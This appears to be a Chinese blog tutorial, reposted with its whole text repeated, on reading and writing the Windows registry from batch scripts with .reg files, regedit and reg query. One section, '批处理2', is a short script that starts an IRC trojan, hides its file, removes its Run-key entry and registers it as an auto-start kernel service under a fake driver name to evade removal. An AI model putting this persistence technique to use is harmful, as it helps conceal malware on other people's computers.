批处理操作注册表完全攻略(读取注册表/写入注册表等)
程序员文章站
2022-03-22 09:40:03
一,批处理生成.reg文件操作注册表 用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可! 这里,着重要了解.reg文件操作注册表的方...
一,批处理生成.reg文件操作注册表
用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可!
这里,着重要了解.reg文件操作注册表的方法。
首先.reg文件首行必须是:windows registry editor version 5.00。然后才是操作注册表的内容。
(就和从注册表中导出的文件格式一致)
1,创建子项
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
在hkey_local_machine\software\下创建了一个名字为“ttt”的子项。
2,创建一个项目名称
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
"name"="ttt blog"
"email"="taoether@gmail.com"
"url"="http://www.taoyoyo.net/ttt/"
"type"=dword:02
这样就在[hkey_local_machine\software\ttt]下新建了:name、email、 url、type这四个项目
name、email、url的类型是“string value”
type的类型是“dword value”
(附:windows注册表值类型:
reg_sz 字符串值
reg_binary 二进制值
reg_dword dword值
reg_multi_sz 多字符串值
reg_expand_sz 可扩充字符串值)
3,修改键值
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。
4,删除项目名称
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
"email"=-
执行该脚本,"email"就被删除了;
5,删除子项
windows registry editor version 5.00
[-hkey_local_machine\software\ttt]
[-hkey_local_machine\software\ddd]
执行该脚本,子项ttt和ddd就已经被删除了。
6,.reg文件执行方法
1)直接执行reg文件
2)regedit /s *.reg (/s不用确认)
3)reg import *.reg
7,其实,我们也可以用dll文件代替reg文件。
批处理例1:
@echo off
echo windows registry editor version 5.00 >t1.reg
echo.
echo [hkey_local_machine\software\ttt] >>t1.reg
echo "name"="ttt blog" >>t1.reg
echo "email"="taoether@gmail.com" >>t1.reg
echo "url"="http://www.taoyoyo.net/ttt/" >>t1.reg
echo "type"=dword:02 >>t1.reg
regedit /s t1.reg
del /q t1.reg
pause
批处理2:(这个例子是别人的,不是很懂的说~~)
我们现在在使用一些比较老的木马时,可能会在注册表的[hkey_local_machine\software\microsoft\ windows\currentversion\run(runonce、runservices、runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地irc木马dsnx为例 (名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [hkey_local_machine\software\microsoft\windows\currentversion\run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create windriversrv type= kernel start= auto displayname= windowsdriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@rem [删除dsnxde在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@rem 这样不是更安全^_^.
二,reg命令操作注册表
reg命令是windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助……
reg operation [参数列表]
operation [ query | add | delete | copy |
save | load | unload | restore |
compare | export | import ]
1,查询所有子项和值
d:\>reg query hklm\software\ttt
! reg.exe version 3.0
hkey_local_machine\software\ttt
name reg_sz ttt blog
email reg_sz taoether@gmail.com
url reg_sz http://www.taoyoyo.net/ttt/
type reg_dword 0x2
2,查询特定项
d:\>reg query hklm\software\ttt /v url
! reg.exe version 3.0
hkey_local_machine\software\ttt
url reg_sz http://www.taoyoyo.net/ttt/
这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。
原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:dos循环-bat/批处理for命令详解之二)
例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本:
@echo off
for /f "tokens=1,2,3,4,*" %%i in ('reg query "hkey_local_machine\software\ttt" ^| find /i "url"') do set "purl=%%k"
echo ttt blog的url值为:%purl%
保存为test.bat,运行结果如下:
d:\>test.bat
ttt blog的url值为:http://www.taoyoyo.net/ttt/
不行了,家里的电脑不知为啥,在命令行中一运行“reg”命令(包括reg /?),cpu就占用100%,看任务管理器,cmd占用百分之八十多,不知道为啥……
运行其他的命令就没有问题,包括regedit /s……
查了一下,网上有说是中了木马的原因,但查了一下,也不象。既没有找到相关文件,而且运行其它的命令时,没有问题……
先不搞了,正好手头有个reg命令详解,等会整理一下!
因为查毒,用自己做的clear.bat清理了一下c盘,居然清理出1个g的空间来,原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理一下啊!
再发布两个做好的批处理文件,可以自动监控outlook express,有需要的可以点击下载……
1,oemonitorcount.bat 功能:可以重设注册表中oe打开次数,避免超过100次时提示压缩
2,oemonitorsize.bat 功能:可以监控outlook express邮件文件(*.dbx)大小,当大于指定大小时,生成报警日志。
这两个文件,可以加到启动组里,每次开机自动运行!
搞这两个主要是为了解决公司经常出现的一些问题:
1)经常有人的邮件文件超过几个g;
2)有时而且根据提示压缩后,可能出现邮件丢失。
刚发现,下载后的文件又加了“htm"的后缀,请去掉此后缀再使用!
另外下载时,请使用下面的链接,如:千脑电信高速下载地址、千脑网通高速下载地址。上面的vip链接是专供千脑用户使用的~~
用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可!
这里,着重要了解.reg文件操作注册表的方法。
首先.reg文件首行必须是:windows registry editor version 5.00。然后才是操作注册表的内容。
(就和从注册表中导出的文件格式一致)
1,创建子项
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
在hkey_local_machine\software\下创建了一个名字为“ttt”的子项。
2,创建一个项目名称
复制代码 代码如下:
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
"name"="ttt blog"
"email"="taoether@gmail.com"
"url"="http://www.taoyoyo.net/ttt/"
"type"=dword:02
这样就在[hkey_local_machine\software\ttt]下新建了:name、email、 url、type这四个项目
name、email、url的类型是“string value”
type的类型是“dword value”
(附:windows注册表值类型:
reg_sz 字符串值
reg_binary 二进制值
reg_dword dword值
reg_multi_sz 多字符串值
reg_expand_sz 可扩充字符串值)
3,修改键值
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。
4,删除项目名称
复制代码 代码如下:
windows registry editor version 5.00
[hkey_local_machine\software\ttt]
"email"=-
执行该脚本,"email"就被删除了;
5,删除子项
复制代码 代码如下:
windows registry editor version 5.00
[-hkey_local_machine\software\ttt]
[-hkey_local_machine\software\ddd]
执行该脚本,子项ttt和ddd就已经被删除了。
6,.reg文件执行方法
1)直接执行reg文件
2)regedit /s *.reg (/s不用确认)
3)reg import *.reg
7,其实,我们也可以用dll文件代替reg文件。
批处理例1:
复制代码 代码如下:
@echo off
echo windows registry editor version 5.00 >t1.reg
echo.
echo [hkey_local_machine\software\ttt] >>t1.reg
echo "name"="ttt blog" >>t1.reg
echo "email"="taoether@gmail.com" >>t1.reg
echo "url"="http://www.taoyoyo.net/ttt/" >>t1.reg
echo "type"=dword:02 >>t1.reg
regedit /s t1.reg
del /q t1.reg
pause
批处理2:(这个例子是别人的,不是很懂的说~~)
我们现在在使用一些比较老的木马时,可能会在注册表的[hkey_local_machine\software\microsoft\ windows\currentversion\run(runonce、runservices、runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地irc木马dsnx为例 (名为windrv32.exe)
复制代码 代码如下:
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [hkey_local_machine\software\microsoft\windows\currentversion\run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create windriversrv type= kernel start= auto displayname= windowsdriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@rem [删除dsnxde在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@rem 这样不是更安全^_^.
二,reg命令操作注册表
reg命令是windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助……
reg operation [参数列表]
operation [ query | add | delete | copy |
save | load | unload | restore |
compare | export | import ]
1,查询所有子项和值
d:\>reg query hklm\software\ttt
! reg.exe version 3.0
hkey_local_machine\software\ttt
name reg_sz ttt blog
email reg_sz taoether@gmail.com
url reg_sz http://www.taoyoyo.net/ttt/
type reg_dword 0x2
2,查询特定项
d:\>reg query hklm\software\ttt /v url
! reg.exe version 3.0
hkey_local_machine\software\ttt
url reg_sz http://www.taoyoyo.net/ttt/
这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。
原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:dos循环-bat/批处理for命令详解之二)
例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本:
复制代码 代码如下:
@echo off
for /f "tokens=1,2,3,4,*" %%i in ('reg query "hkey_local_machine\software\ttt" ^| find /i "url"') do set "purl=%%k"
echo ttt blog的url值为:%purl%
保存为test.bat,运行结果如下:
d:\>test.bat
ttt blog的url值为:http://www.taoyoyo.net/ttt/
不行了,家里的电脑不知为啥,在命令行中一运行“reg”命令(包括reg /?),cpu就占用100%,看任务管理器,cmd占用百分之八十多,不知道为啥……
运行其他的命令就没有问题,包括regedit /s……
查了一下,网上有说是中了木马的原因,但查了一下,也不象。既没有找到相关文件,而且运行其它的命令时,没有问题……
先不搞了,正好手头有个reg命令详解,等会整理一下!
因为查毒,用自己做的clear.bat清理了一下c盘,居然清理出1个g的空间来,原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理一下啊!
再发布两个做好的批处理文件,可以自动监控outlook express,有需要的可以点击下载……
1,oemonitorcount.bat 功能:可以重设注册表中oe打开次数,避免超过100次时提示压缩
2,oemonitorsize.bat 功能:可以监控outlook express邮件文件(*.dbx)大小,当大于指定大小时,生成报警日志。
这两个文件,可以加到启动组里,每次开机自动运行!
搞这两个主要是为了解决公司经常出现的一些问题:
1)经常有人的邮件文件超过几个g;
2)有时而且根据提示压缩后,可能出现邮件丢失。
刚发现,下载后的文件又加了“htm"的后缀,请去掉此后缀再使用!
另外下载时,请使用下面的链接,如:千脑电信高速下载地址、千脑网通高速下载地址。上面的vip链接是专供千脑用户使用的~~